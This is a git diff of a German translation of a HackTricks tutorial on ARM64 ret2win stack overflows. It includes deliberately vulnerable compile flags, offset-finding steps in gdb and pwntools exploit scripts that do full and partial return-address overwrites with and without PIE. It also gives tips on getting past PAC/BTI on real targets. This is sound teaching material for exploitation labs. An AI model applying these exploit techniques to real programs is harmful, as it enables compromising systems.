Translated ['src/binary-exploitation/stack-overflow/ret2win/ret2win-arm6

This commit is contained in:
Translator 2025-08-27 02:33:32 +00:00
parent e3dd26f286
commit 471c2f2667

View File

@ -2,7 +2,7 @@
{{#include ../../../banners/hacktricks-training.md}}
Finden Sie eine Einführung in arm64 in:
Eine Einführung in arm64 findest du in:
{{#ref}}
@ -28,17 +28,29 @@ vulnerable_function();
return 0;
}
```
Kompilieren ohne PIE und Canary:
Kompilieren ohne pie und canary:
```bash
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie -mbranch-protection=none
```
## Offset finden
- Das zusätzliche Flag `-mbranch-protection=none` deaktiviert AArch64 Branch Protection (PAC/BTI). Wenn deine Toolchain standardmäßig PAC oder BTI aktiviert, sorgt das für reproduzierbare Labs. Um zu prüfen, ob ein kompiliertes Binary PAC/BTI verwendet, kannst du:
- Nach AArch64 GNU properties suchen:
- `readelf --notes -W ret2win | grep -E 'AARCH64_FEATURE_1_(BTI|PAC)'`
- Prologues/Epilogues auf `paciasp`/`autiasp` (PAC) oder auf `bti c` Landing-Pads (BTI) untersuchen:
- `objdump -d ret2win | head -n 40`
### Musteroption
### AArch64 calling convention quick facts
Dieses Beispiel wurde mit [**GEF**](https://github.com/bata24/gef) erstellt:
- The link register is `x30` (a.k.a. `lr`), and functions typically save `x29`/`x30` with `stp x29, x30, [sp, #-16]!` and restore them with `ldp x29, x30, [sp], #16; ret`.
- Das bedeutet, die gespeicherte Rücksprungadresse liegt bei `sp+8` relativ zur Frame-Basis. Mit einem darunter platzierten `char buffer[64]` ist der übliche Overwrite-Abstand zur gespeicherten `x30` 64 (Buffer) + 8 (gespeichertes x29) = 72 Bytes — genau das, was wir unten finden werden.
- The stack pointer must remain 16byte aligned at function boundaries. If you build ROP chains later for more complex scenarios, keep the SP alignment or you may crash on function epilogues.
Starte gdb mit gef, erstelle ein Muster und verwende es:
## Finding the offset
### Pattern option
This example was created using [**GEF**](https://github.com/bata24/gef):
Starte gdb mit gef, erstelle ein Pattern und verwende es:
```bash
gdb -q ./ret2win
pattern create 200
@ -46,17 +58,17 @@ run
```
<figure><img src="../../../images/image (1205).png" alt=""><figcaption></figcaption></figure>
arm64 wird versuchen, zur Adresse im Register x30 (das kompromittiert wurde) zurückzukehren. Wir können das nutzen, um den Muster-Offset zu finden:
arm64 wird versuchen, zur Adresse im Register x30 zurückzukehren (die kompromittiert wurde). Wir können das verwenden, um den Offset des Musters zu finden:
```bash
pattern search $x30
```
<figure><img src="../../../images/image (1206).png" alt=""><figcaption></figcaption></figure>
**Der Offset beträgt 72 (9x48).**
**Der Offset ist 72 (9x48).**
### Stack-Offset-Option
Beginnen Sie damit, die Stack-Adresse zu erhalten, an der das pc-Register gespeichert ist:
Beginne damit, die Stack-Adresse zu ermitteln, an der das pc-Register gespeichert ist:
```bash
gdb -q ./ret2win
b *vulnerable_function + 0xc
@ -65,14 +77,14 @@ info frame
```
<figure><img src="../../../images/image (1207).png" alt=""><figcaption></figcaption></figure>
Setzen Sie nun einen Haltepunkt nach dem `read()` und fahren Sie fort, bis das `read()` ausgeführt wird, und setzen Sie ein Muster wie 13371337:
Setze jetzt einen breakpoint nach dem `read()` und fahre mit continue fort, bis `read()` ausgeführt wird, und setze ein pattern wie 13371337:
```
b *vulnerable_function+28
c
```
<figure><img src="../../../images/image (1208).png" alt=""><figcaption></figcaption></figure>
Finde heraus, wo dieses Muster im Speicher gespeichert ist:
Finde, wo dieses Muster im Speicher abgelegt ist:
<figure><img src="../../../images/image (1209).png" alt=""><figcaption></figcaption></figure>
@ -80,11 +92,11 @@ Dann: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**
<figure><img src="../../../images/image (1210).png" alt="" width="339"><figcaption></figcaption></figure>
## Kein PIE
## No PIE
### Regulär
Hole dir die Adresse der **`win`** Funktion:
Ermittle die Adresse der **`win`**-Funktion:
```bash
objdump -d ret2win | grep win
ret2win: file format elf64-littleaarch64
@ -97,6 +109,8 @@ from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Optional but nice for AArch64
context.arch = 'aarch64'
# Prepare the payload
offset = 72
@ -114,7 +128,7 @@ p.close()
### Off-by-1
Tatsächlich wird dies eher wie ein Off-by-2 im gespeicherten PC im Stack sein. Anstatt die gesamte Rücksprungadresse zu überschreiben, werden wir **nur die letzten 2 Bytes** mit `0x06c4` überschreiben.
Eigentlich handelt es sich eher um ein off-by-2 im Stack, bei dem der PC gespeichert ist. Anstatt die gesamte return address zu überschreiben, werden wir **nur die letzten 2 bytes** mit `0x06c4` überschreiben.
```python
from pwn import *
@ -136,16 +150,16 @@ p.close()
```
<figure><img src="../../../images/image (1212).png" alt="" width="375"><figcaption></figcaption></figure>
Sie finden ein weiteres Off-by-One-Beispiel in ARM64 in [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), das ein echtes Off-by-**one** in einer fiktiven Schwachstelle ist.
Ein weiteres off-by-one-Beispiel in ARM64 findest du unter [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), das ein echtes off-by-**one** in einer fiktiven Schwachstelle ist.
## Mit PIE
> [!TIP]
> Kompilieren Sie die Binärdatei **ohne das Argument `-no-pie`**
> Kompiliere das Binary **ohne das `-no-pie` Argument**
### Off-by-2
Ohne einen Leak kennen wir die genaue Adresse der Gewinnfunktion nicht, aber wir können den Offset der Funktion von der Binärdatei kennen und wissen, dass die Rücksprungadresse, die wir überschreiben, bereits auf eine nahe Adresse zeigt. Es ist möglich, den Offset zur Gewinnfunktion (**0x7d4**) in diesem Fall zu leaken und einfach diesen Offset zu verwenden:
Ohne leak kennen wir nicht die exakte Adresse der win function, aber wir können den Offset der Funktion im Binary ermitteln. Wenn die return address, die wir überschreiben, bereits auf eine nahe Adresse zeigt, ist es möglich, in diesem Fall den Offset zur win function (**0x7d4**) zu leak und diesen Offset einfach zu verwenden:
<figure><img src="../../../images/image (1213).png" alt="" width="563"><figcaption></figcaption></figure>
```python
@ -167,4 +181,45 @@ p.send(payload)
print(p.recvline())
p.close()
```
### Anmerkungen zur modernen AArch64Härtung (PAC/BTI) und ret2win
- Wenn das Binary mit AArch64 Branch Protection kompiliert ist, siehst du möglicherweise `paciasp`/`autiasp` oder `bti c` in Funktionsprolog/-epilog. In diesem Fall:
- Zurückkehren zu einer Adresse, die kein gültiges BTILandingPad ist, kann ein `SIGILL` auslösen. Zielt stattdessen auf den genauen Funktionsbeginn, der `bti c` enthält.
- Wenn PAC für Returns aktiviert ist, können naive Überschreibungen der Rücksprungadresse fehlschlagen, weil der Epilog `x30` authentifiziert. Für Lernzwecke neu mit `-mbranch-protection=none` bauen (s. oben). Bei echten Zielen bevorzugt nonreturn hijacks (z. B. function pointer overwrites) oder baut ROP, das niemals ein `autiasp`/`ret`Paar ausführt, das euren gefälschten LR authentifiziert.
- Um die Features schnell zu prüfen:
- `readelf --notes -W ./ret2win` und suche nach `AARCH64_FEATURE_1_BTI` / `AARCH64_FEATURE_1_PAC` Notizen.
- `objdump -d ./ret2win | head -n 40` und suche nach `bti c`, `paciasp`, `autiasp`.
### Ausführen auf NichtARM64Hosts (qemuuser QuickTipp)
Wenn du auf x86_64 bist, aber AArch64 üben möchtest:
```bash
# Install qemu-user and AArch64 libs (Debian/Ubuntu)
sudo apt-get install qemu-user qemu-user-static libc6-arm64-cross
# Run the binary with the AArch64 loader environment
qemu-aarch64 -L /usr/aarch64-linux-gnu ./ret2win
# Debug with GDB (qemu-user gdbstub)
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./ret2win &
# In another terminal
gdb-multiarch ./ret2win -ex 'target remote :1234'
```
### Verwandte HackTricks-Seiten
-
{{#ref}}
../../rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md
{{#endref}}
-
{{#ref}}
../../rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md
{{#endref}}
## Referenzen
- Aktivierung von PAC und BTI auf AArch64 für Linux (Arm Community, Nov 2024). https://community.arm.com/arm-community-blogs/b/operating-systems-blog/posts/enabling-pac-and-bti-on-aarch64-for-linux
- Prozeduraufrufstandard für die Arm 64-Bit-Architektur (AAPCS64). https://github.com/ARM-software/abi-aa/blob/main/aapcs64/aapcs64.rst
{{#include ../../../banners/hacktricks-training.md}}